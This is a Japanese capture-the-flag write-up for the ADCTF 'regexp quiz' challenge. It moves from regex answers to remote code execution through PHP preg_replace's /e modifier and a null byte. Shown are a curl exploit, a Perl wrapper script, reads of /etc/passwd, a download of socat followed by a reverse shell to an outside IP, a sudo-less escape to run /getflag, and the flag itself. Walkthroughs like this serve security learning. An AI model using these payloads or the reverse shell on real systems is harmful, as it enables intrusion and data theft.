regexp quiz
問題
Welcome to Regexp Quiz.
pwnable.katsudon.org:58080/stage1.php
解法
1問目: 何も考えずASCII範囲を全部掴む
[ -~]*
2問目: 改行を含めて全部掴む
((?:.|\n)*)
→ http://pwnable.katsudon.org:58080/stage3_9eaeec9bd606f259e92546a7fff593d6.php
3問目: 置換する問題なのだが,これがなかなか制限字数に収まらない。 そもそもs///では,前後にある不要な部分を消すために全体にマッチさせなければならない。 もし.が使えたとしても.*(.*).*(.*).*という形式ではこれだけでも14文字である。
実はジャンルがmixedであったように,ここでは問題への解答ではなくpwnすることが求められている。 preg_replaceはpatternに/e修飾子をつけると,replacementがPHPの式として評価される。 ただし,preg_replace("/$pattern/", ...となっているので, patternの最後に/eをつけただけでは/が余ってしまって動作しない。 そこで\0を加えることで文字列を強制的に終わらせる。 PHP 5.4.7以降では\0を検出してエラーになるようになっているのだが, サーバで動いているのは5.4.4であった。
次のようなコマンドで任意のコマンドの実行に成功した。
curl http://pwnable.katsudon.org:58080/stage3_9eaeec9bd606f259e92546a7fff593d6.php -d 'pattern=/e%00&replacement=eval($_POST[s])&s=system("ls -l");exit;'
ところでexit;を最後に置かなかった場合に置換処理が繰り返し行われたことから, ページに書かれている表現と行われている処理は異なることがわかった。s///gである。 gが付いているのならアプローチは変わる。
s/<[^>]*>|\s\s\D+//g
これで15文字だ。
Congrats! But there is no flag here, hehe. Find a vulnerability and pwn me on your second try :P
akiymさんによればg無しでも出来るとのことであるが見当がつかない。
さて,コマンドを簡単に実行できるようにツールpwn.plにまとめておく。
1 use strict;
2 use warnings;
3
4 my $s = shift @ARGV;
5 $s =~ s/(\W)/"%". unpack("H*",$1)/ge;
6
7 my @args = ('curl', '-s',
8 'http://pwnable.katsudon.org:58080/stage3_9eaeec9bd606f259e92546a7fff593d6.php',
9 '-d', 'pattern=[!-z]%2b/e%00&replacement=eval($_POST[s])&s='.$s.'exit;');
10
11 open my $pipe, "-|", @args or return;
12 my $ok = 0;
13 while (my $line = <$pipe>) {
14 if ($ok) { print $line; }
15 elsif ($line =~ m{.*?</form>\n}) { $ok = 1; }
16 }
フラグは/flagにあるが/getflagを介さないと読めない。しかし/getflagはflagmanユーザにならないと実行できない。
% perl pwn.pl 'system("ls -l /");' total 76 ... -r--r----- 1 root flagman2 31 Dec 23 17:53 flag -r-xr-s--- 1 flagman flagman2 5552 Dec 23 17:53 getflag ...
% perl pwn.pl 'system("cat /etc/passwd");' ... www-data:x:33:33:www-data:/var/www:/bin/sh ... flagman:x:1000:1000::/home/flagman:/bin/false flagman2:x:1001:1001::/home/flagman2:/bin/false
% perl pwn.pl 'system("cat /etc/group");' ... flagman:x:1000: flagman2:x:1001:
flagmanユーザになるにはどうすれば良いのかと,flagmanユーザ・グループの所有するファイルを探してみるたところ, なんとgetflagコマンドと,ホームディレクトリしか見当たらない。
% perl pwn.pl 'system("find / -user flagman -or -group flagman");' /home/flagman /getflag
ホームディレクトリにも何も入っていない。
% perl pwn.pl 'system("ls -la /home/flagman");' total 8 dr-xr-xr-x 2 root flagman 4096 Dec 23 17:53 . drwxr-xr-x 3 root root 4096 Dec 23 17:53 ..
となれば,正規の手段でflagmanユーザになるしかない。つまり,suやsudoやsshである。 suでパスワードを入れてログインして見るにはttyが必要なので用意する。 サーバで動いているDebian 7.7用のsocatコマンドと必要なライブラリ(libwrap)を用意して,サーバ側でダウンロードする。
% perl pwn.pl 'file_put_contents("/tmp/ytoku_l23qyhj/socat.tar", file_get_contents("http://x.x.x.x:9654/socat.tar"));' % perl pwn.pl 'system("cd /tmp/ytoku_l23qyhj; tar xvf socat.tar 2>&1");'
手元で次のコマンドを実行して待ち受けて
% socat `tty`,raw,echo=0 TCP-listen:9654,reuseaddr
リバースシェルを開く。
% perl pwn.pl 'system("cd /tmp/ytoku_l23qyhj; LD_LIBRARY_PATH=/tmp/ytoku_l23qyhj/lib ./socat TCP:133.242.155.176:9654 exec:bash,pty,stderr,setsid 2>&1");'
flagmanユーザは空パスワードでログインできるのではないかと試みてみるも失敗。 いくつか,思いつくパスワードも試してみたがログインできなかった。
sudoを通じて/getflagを実行してみる試みもwww-dataのパスワードを聞かれて失敗に終わった。
www-data@regexp_quiz:/tmp/ytoku_l23qyhj$ sudo -u flagman /getflag sudo: unable to resolve host regexp_quiz [sudo] password for www-data:
akiymさんに辞書攻撃を試みていいか聞いてみたところ,パスワード無しでflagmanユーザになれるとの回答を頂き,手詰まり感が溢れる。 その後,数時間は進捗ダメです状態。
LXCのセキュリティを突破して他の問題の1000番のuidを持ち込むのではないかと考え始めた辺りで, easypwnなどの問題と比較した時に,他の問題にはsudoが入っていないことに気づいた。 /var/log/apt/history.logは見たはずなのに何故気づかなかった……
sudoを使わせるために入れたなと裏読みをして,sudoに関して再度調査を行った。 特にsudoersの内容を知る方法がないかを調べたところsudo -lというコマンドの存在にようやく気づいた。
www-data@regexp_quiz:/$ sudo -l sudo: unable to resolve host regexp_quiz Matching Defaults entries for www-data on this host: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User www-data may run the following commands on this host: (flagman) NOPASSWD: /bin/less /home/flagman/*
これだ。パスワード無しでlessが実行できるようになっている。
lessが起動できれば後は簡単で任意のコマンドが実行できる。 適当なファイルを開き,!/getflagを実行するだけである。
% sudo -u flagman /bin/less /home/flagman/../../etc/passwd ... !/getflag The flag is: ADCTF_Regul4R_eXPRe5510n_R0CkS